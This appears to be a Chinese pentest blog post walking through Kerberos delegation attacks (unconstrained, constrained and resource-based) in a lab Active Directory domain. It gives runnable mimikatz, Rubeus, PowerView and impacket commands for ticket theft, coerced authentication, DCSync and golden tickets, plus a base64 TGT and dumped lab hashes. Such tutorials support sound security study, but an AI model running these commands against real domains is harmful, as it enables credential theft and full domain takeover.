内网渗透技战法-委派攻击

委派攻击

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

在域内只有主机账号和服务账号才有委派属性 主机账号(机器账号)

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

非约束委派攻击

1.对于非约束性委派 (Unconstrained Delegation),服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT, 模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员 。

2.配置了非约束性委派属性的机器账号的userAccountControl 属性有个Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384;Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=524800

简单来说非约束委派攻击:
user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA 这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。
从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

环境搭建

首先创建一个服务账号

setspn -U -A MSSQLSvc/WIN7.xiaorang.lab:1433 test
#SPN格式如下:
#<服务类型>/<主机名>:<端口>
#将WIN7.xiaorang.lab主机的1433端口的MSSQLSvc服务绑定到域用户test、
#-A = Add(不检查重复);-S = Safe Add(检查重复);-U 将主机部分转大写WIN7.xiaorang.lab转为WIN7.XIAORANG.LAB,不加也可以,因为大小写不敏感

image-20251224193345-mjfik2g

然后需要把委派属性打开:

image-20251224193455-1b9vr8r

此时其userAccountControl​ 属性会包含 TRUSTED_FOR_DELEGATION

image-20251224201904-3ghj8y1

再把机器用户WIN7也设置成非约束委派

image-20251224213708-euxb5l3

查找域内非约束委派用户和计算机

Adfind查找非约束委派普通用户

#查找非约束委派用户
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找非约束委派机器
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20251224213727-33az7ow

也可以用powerview

#查找非约束委派服务用户
powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties samaccountname,serviceprincipalname,useraccountcontrol"
#查找非约束委派机器用户
powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainComputer -Unconstrained -Properties samaccountname,serviceprincipalname,useraccountcontrol"

机器用户的非约束委派利用

对于机器用户WIN7,当 WIN7 机器上设置了非约束委派。使用 dc​ 或者域管,去登录 WIN7 ,可在WIN7上留存票据凭证,然后需要让域控模拟访问被设置了非约束委派的机器

域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT​ 已经缓存在 WIN7 机器上了

WIN7开启winrm服务

winrm quickconfig
sc query winrm
# 应显示 STATE : 4 RUNNING
Enter-PSSession -ComputerName WIN7

image-20251224214810-911urx1

此时在WIN7用mimikatz导出本地凭证

清除一下当前票据缓存
mimikatz "privilege::debug" "kerberos::purge" "exit"
导出票据
privilege::debug 
sekurlsa::tickets /export

Mimikatz 导出的 .kirbi​ 文件遵循如下命名规则:

[LUID] - [TicketGroup] - [Index] - [Flags] - [Client] @ [Server] - [Domain].kirbi
位置 字段名称 您的文件中常见值 最终解释 (基于文件证据)
1 LUID [0;3e7]

[0;57b18]
登录会话 ID
标识这张票据属于哪个登录会话(SYSTEM 或具体用户)。
2 Ticket Group
2

0
票据类型分组
这是 Mimikatz 内部对票据的分类:
2 = TGT(黄金票据基础,文件名必含krbtgt​)

0 = TGS(服务票据,文件名含cifs​,ldap​等)
3 Index
0​,1​,2​,3 导出索引 (计数器)
这只是一个流水号,防止文件名冲突。
4 Flags 60a1000060a50000

40a5000040a10000
票据标志位(十六进制)40e10000: 通常代表 Initial (初始) 票据;60a10000: 通常代表 Forwarded (已转发) 票据,代表通过委派(Delegation)或其他方式转发过来的。
5 Client @ Server Administrator@krbtgt

WIN7$@cifs
客户端与目标服务
格式为[谁] @ [访问谁]​。
6 Domain XIAORANG.LAB 域名

所以我们选择第二位为2,标志位为60a1000的Administrator访问krbtgt的TGT就是我们通过非约束性委派缓存的TGT

image-20251225152409-dm6el8t

mimikatz "kerberos::ptt [0;13d21a7]-2-0-60a10000-Administrator@krbtgt-XIAORANG.LAB" exit
之后即可dir \\DC01\c$

image-20251225162513-fzktbpx

image-20251225162515-cq4zyko

机器用户+Spooler的非约束委派利用

默认情况下Spooler服务为自动启动

1.用Rubeus来监听(需要管理员权限)

Rubeus.exe monitor /interval:1 /filteruser:DC01$ > 6.txt
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
#将内容输出到6.txt

利用打印服务强制让域控机向WIN7主机验证身份(不需要管理员权限)

SpoolSample.exe DC01 WIN7

image-20251225171930-a1xuk8u

虽然报错但是还是能接收到

image-20251225171922-94fazt1

此时可以直接用 powershell 转到为正常的 TGT

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的base64"))
#ticket.kirbi处必须用绝对路径
然后用mimikatz导入tgt
kerberos::ptt xxx.kirbi

也可以用Rubeus导入base64的票据直接注入进内存

Rubeus.exe   /ticket:doIFFDCCBRCgAwIBBaEDAgEWooIEHDCCBBhhggQUMIIEEKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4ID1DCCA9CgAwIBEqEDAgECooIDwgSCA76zNLejJhaugZO04CsOMmNq8EOc8I15lMK+WaVtNLT0J0FCLTwEPWOPQvDuZMFeEa+aCMCBXS9Ea/UkNHayr+SZyBHYlvvW4wMQoSQnkFnmvXRHI8R7E6c1zDNglk/528eptWWAzSDJGdByKnSNHVZD8UeZx/gTNpIpRur1WTr89TfiPSy/Jn7O7eZ6EVwfK7w0am3dV2dodxN9ZhENwhkAxMNAk7IYfQ98PNhBfIobC4BPwgVf6rZJa9dqnMH8sZWv3DWI+FtcB3hqzmIcM14Tqh9KjoBq5k2qLisrye2MH5izGFOk39NapJ4HRuN2lFZ9Nn6/l8GNV/vZb0ttW24YWxoLni74tCp3gXTK8DdP94oqyt0hb+4nt1JKK/C1h1tamZP5p/YXZhASdIYERfBDqzVMHcxTNyUAhm7SbXKyuD+iARzqM2hdYWKxt8ZKrx+OCUgywTtvtNK96x7fFGFJjR2slW/SRkI71cFH96g8DTUELfB5ZZDrO3tbH2su/MA4vr5XfvJEmJUPewDF0vkj7ShgV7YGpCUF048VhokfeGkO6ZhkQxU+QY2bEKhJwT4iE6SxgI1xBkoW2O0SSBrvSNdRUCf+yaxEXvduCoiMgOxqq825fQn3pTy6S4lh4M4/xKrYOuK/uAJ9JhSGsRRycHuDbgCx6Z3DDt7lFpKjP4a5aiFXoDkdpuhfReWCYBkjeO4dq+VsiDCQYSHabfvZYfyKwPm6bUxK4W+b5OgzrNCIuoc3Vtj3LGJTYkJAynMkwO2Czia9uw2V5YMAeoZz+w76QWSMGh29H/GOtykM0n0ErCSGP+BxwFvBVJGRIKOoH2YwXLJOJN+/tlBOZne9ewekCdxAn+OJBJVWz4xfcgfAsb3HkGvzPjoBwSblcfI00ZjLkUcrdrZpEs2llaJy9UdsqmtoER3gYpgEUwrDjWYEM2y8KE+7ohQjuDV6br9st5UU7RWQLN6fdAa93s3SDBPEcfVBwGgdyp/PbSCWHLuTQGojX/8cR4QHt24G2BGFPWve5EUfBuCxXMohW7mMVulZalzzOgaLjfgh55ETxtmxtkUjuGs4a6rpV/hZ/DqqYQpIDXwEA7i+WWECamw/QJGS0x/+P9MsJz3gnA3uOSMwjH5onOtPaHV1PAb7Q5zYndE5ELu7wVt2bBvxAE4Mlp570tu49fbIj43UM5OyQh3+AGFyiTB8Y8WbJJWroBsiX2YBJdC7E9ZbBH+2vPOrtIceMBCY7bz7KNCRXhMU5DX7vbaKt1sIJr+U0UXlo4HjMIHgoAMCAQCigdgEgdV9gdIwgc+ggcwwgckwgcagKzApoAMCARKhIgQgRFXlTK2VyPExfpf2Vh/5YuY1ZahGFn0NEcLHHA5mz0ShDhsMWElBT1JBTkcuTEFCohIwEKADAgEBoQkwBxsFREMwMSSjBwMFAGChAAClERgPMjAyNTEyMjUwNjQ0NTJaphEYDzIwMjUxMjI1MTY0NDUyWqcRGA8yMDI2MDEwMTA2NDQ1MlqoDhsMWElBT1JBTkcuTEFCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxYSUFPUkFORy5MQUI= /ptt
#伪造tgt,接着进行DCSync
#mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

image-20251225174345-mkvn47a

此时获得的权限只是域控的本地管理权限,所以不能连接域控,之后可以拿krbtgt的NTLM做黄金票据

1001	DC01$	e768c2e24145ca69fdf7a786bbcf5f8e	532480
1000	DC	96265b73083383c180073ab555edd67b	512
502	krbtgt	f4db3d37c4c7e00a0894a832430286b1	514
500	Administrator	fc5d624078187427a8b2097c00737036	66048
1107	WIN-2008$	9e7d7fd3f3fad110a14882dfb8061939	4096
1106	test	cd47449ce8d3519c5ba12c57a567a0cd	524800
1104	WIN7$	ca25f949b465ae0f594b4ecd0716d04c	528384

之后导入黄金票据,然后即可dir \\DC01\c$

为什么不能直接做DC01的cifs的TGS呢?

因为此时的client name是DC01他是没有权限读取\\DC01\c$​的,必须是Domain Admins​组里的个人用户才可以

约束委派攻击

引入了 S4U​ (S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。

  • S4U2self​ (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION​, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
  • S4U2proxy​(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo​ 中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。

user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对
serviceA进行访问如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问

环境搭建

#为test用户注册一个纯虚构的SPN,避免服务重复
setspn -S http/test.xiaorang.lab test
#-L列出指定用户的SPN
setspn -L test

image-20251225205953-e6mzfyj

然后给服务账号test设置DC01域控的cifs服务约束性委派

image-20251225210433-0n7urr2

查找域内约束委派用户和计算机

AdFind

#查找约束委派用户
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找约束委派机器
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

PowerView

powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainUser –TrustedToAuth -domain xiaorang.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl"
powershell -exec bypass -c "Import-Module .\powerview.ps1; Get-DomainComputer -TrustedToAuth -domain xiaorang.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize"

约束委派服务用户攻击

rubeus请求test用户的TGT

Rubeus.exe asktgt /user:test /password:T@123456 /nowrap  /outfile:ticket.kirbi

用这张TGT请求DC的CIFS服务的TGS,注入当前会话

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC01.xiaorang.lab /dc:DC01.xiaorang.lab /ptt /ticket:ticket.kirbi

image-20251225214333-p6sj7wg

image-20251225214344-aahhkj3

基于资源委派(攻击非敏感用户)

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
这里的关键就是谁可以修改属性

利用条件:简单来说就是你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击

优势:约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林

环境搭建

攻击机:WIN-2008.xiaorang.lab(test域用户登录)

目标机:WIN7.xiaorang.lab

使用条件

  1. 拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。)
  2. 一个任意服务账户或者一个机器账户(每一个域用户都可以添加10个机器账户)

具体步骤:

  • 已拿下域用户(test用户)且此用户具有对WIN7机器的写入权限,修改 WIN7 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity​ 属性把 FakePC$​添加进去

(这里我们创建WIN2035$​作为FakePC​用户)

  • 使用 FakePC$​ 的凭据,通过 S4U2Self 和 S4U2Proxy 协议向 KDC 申请一张“以 Administrator 身份访问 Win7 CIFS 服务”的票据。

给域用户test设置对域内机器WIN7写权限

image-20251226211103-r5tjwkq

验证test这个用户对WIN7是否具有写权限

powershell -exec bypass Import-Module .\powerview.ps1;Get-DomainUser -Identity test -Properties objectsid

powershell -exec bypass -c "Import-Module .\powerview.ps1;Get-DomainObjectAcl -Identity WIN7  | ?{$_.SecurityIdentifier -match 'S-1-5-21-3469670268-153400363-2716584948-1106'}"

image-20251226211617-xfqi65n

可以看到ActiveDirectoryRights 属性为GenericWrite ,即为对WIN7主机具有写权限,除去GenericWrite权限可利用外,还有GenericAll​、WriteProperty​、WriteDacl​权限也是可以修改账户属性进行攻击利用的。

创建虚拟机器用户WIN2035

在域当中,域用户默认在域内可创建的计算机账户数为10,而我们所创建的计算机账户,又默认注册在RestrictedKrbHost/domain​、HOST/domain​这两个SPN之下,此处我们正好可以进行利用。

使用Powermad注册计算机用户 WIN2035

powershell -exec bypass Import-Module .\powerview.ps1;New-MachineAccount -MachineAccount WIN2035

#密码设为win2035

setspn -q */* | findstr "win2035"

或者用impacket包中的addconputer.py来进行创建机器账户

python3 addcomputer.py -computer-name 'WIN2035' -computer-pass win2035 -dc-ip 172.26.58.101 xiaorang.lab/test:T@123456

image-20251226212931-c8cx4oz

对于修改WIN7计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性值,有两种方法。

1.利用Powerview脚本修改msds-allowedtoactonbehalfofotheridentity属性值

拿到查找新注册的机器账户SID

Get-NetComputer -Identity WIN2035

#S-1-5-21-3469670268-153400363-2716584948-1109

修改属性值,作用是信任WIN2035$​用户,拥有全部权限,WIN2035​现在就拥有了对WIN7​这一台机器的委派权限

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3469670268-153400363-2716584948-1109)"#此处为fake机器用户WIN2035的SID
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7.xiaorang.lab| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证是否修改成功

Get-DomainComputer WIN7.xiaorang.lab -Properties msds-allowedtoactonbehalfofotheridentity

image-20251227204920-dax66x8

清除msds-allowedtoactonbehalfofotheridentity的值

Set-DomainObject WIN7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

2.通过ActiveDirectory模块修改msds-allowedtoactonbehalfofotheridentity属性值

[^注意:ActiveDirectory仅在Windows 2012及以上版本的服务器中存在-PrincipalsAllowedToDelegateToAccount​选项,同时,本模块默认安装于域控当中,域内机器默认并不存在,需单独安装。]:

若我们所打下来的域内主机不存在此模块,可通过上传dll powershell安装导入本模块进行利用

Import-Module .\Microsoft.ActiveDirectory.Management.dll
Set-ADComputer oa -PrincipalsAllowedToDelegateToAccount win2035$
Get-ADComputer oa -Properties PrincipalsAllowedToDelegateToAccount

用Rubeus进行攻击

为了让测试更加直观明确,我们先利用Mimikatz将缓存的票据擦除

Kerberos::purge

利用Rubeus

Rubeus.exe hash /user:WIN2035 /password:win2035 /domain:xiaorang.lab

然后利用WIN2035$机器账户的rc4 hash请求ST并导入当前会话。

Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0  /impersonateuser:Administrator /msdsspn:cifs/WIN7.xiaorang.lab /dc:DC01.xiaorang.lab /ptt
Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0  /impersonateuser:administrator /msdsspn:host/WIN7.xiaorang.lab /dc:DC01.xiaorang.lab /ptt

image-20251227221142-wgh89k2

也可以用现成的项目进行攻击

https://github.com/tothi/rbcd-attack

已拿下凭证 test:T@123456

伪造机器用户 WIN2035:win2035ev1lP@sS

目标机器 WIN7.xiaorang.lab

#用impacket的addcomputer.py创建fakecoumputer:
addcomputer.py -computer-name 'WIN2035$' -computer-pass win2035ev1lP@sS -dc-ip 192.168.33.203 xiaorang.lab/test:T@123456

#修改WIN7的msDS-AllowedToActOnBehalfOfOtherIdentity 的属性,将fakecomputer:'WIN2035$'相关的安全描述符添加进去,WIN2035现在就拥有了对WIN7这一台机器的委派权限
./rbcd.py -f WIN2035 -t WIN7 -dc-ip 192.168.33.203 ecorp\\test:T@123456

#用impacket的getST.py利用WIN7并代表administrator用户请求获取cifs/WIN7服务的TGS
getST.py -spn cifs/WIN7.xiaorang.lab -impersonate administrator -dc-ip 192.168.33.203 xiaorang.lab/WIN2035$:win2035ev1lP@sS

# 导入ST
export KRB5CCNAME=administrator.ccache

# WMI
python3 wmiexec.py administrator@USER-WIN2012.relaysec.com -k -no-pass

机器账户数量超过限制问题

每一个域用户都可以添加10个机器账户,如果设置成立0,或者真的超出了限制该怎么办

如果我们拿到一个域内的机器,那么它自身就是一个机器账户,我们可以将它的密码dump出来,然后进行来设置基于资源的委派。

敏感账户不可被委派问题

利用条件: 知道目标的机器账户的hash

[^注:一般情况下主机在加入域中会随机设置机器账户的密码,所以一般情况下用的是机器账户hash,并且我们是不可以修改机器账户的密码。]:

在域环境中,高权限用户如果没有特殊需求的话,考虑到安全性,一般会被设置为不可委派,或是加入受保护组。比如域管理员用户Administrator用户

image-20251227221319-9961b8p

此时

Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0  /impersonateuser:Administrator /msdsspn:cifs/WIN7.xiaorang.lab /dc:DC01.xiaorang.lab /ptt

以下是开启敏感用户前的TGT

image-20251227221903-r0ia5hd

以下是开启敏感用户后的TGT

image-20251227222619-lxr044t

通过对比发现开启敏感用户后,ServiceName从cifs/WIN7.xiaorang.lab​变成了WIN2035$

使用Rebeus修改票据所请求的服务名:

我们将服务名从WIN2035$​改回cifs/WIN7.xiaorang.lab

Rubeus.exe tgssub /ticket:target.kirbi /altservice:cifs/WIN7.xiaorag.lab /ptt

image-20251229205446-u49390h

我用的Windows Server 2019就没复现成功,Windows Server 2012 R2成功复现

posted @ 2025-12-29 21:06  m1xian  阅读(0)  评论(0)    收藏  举报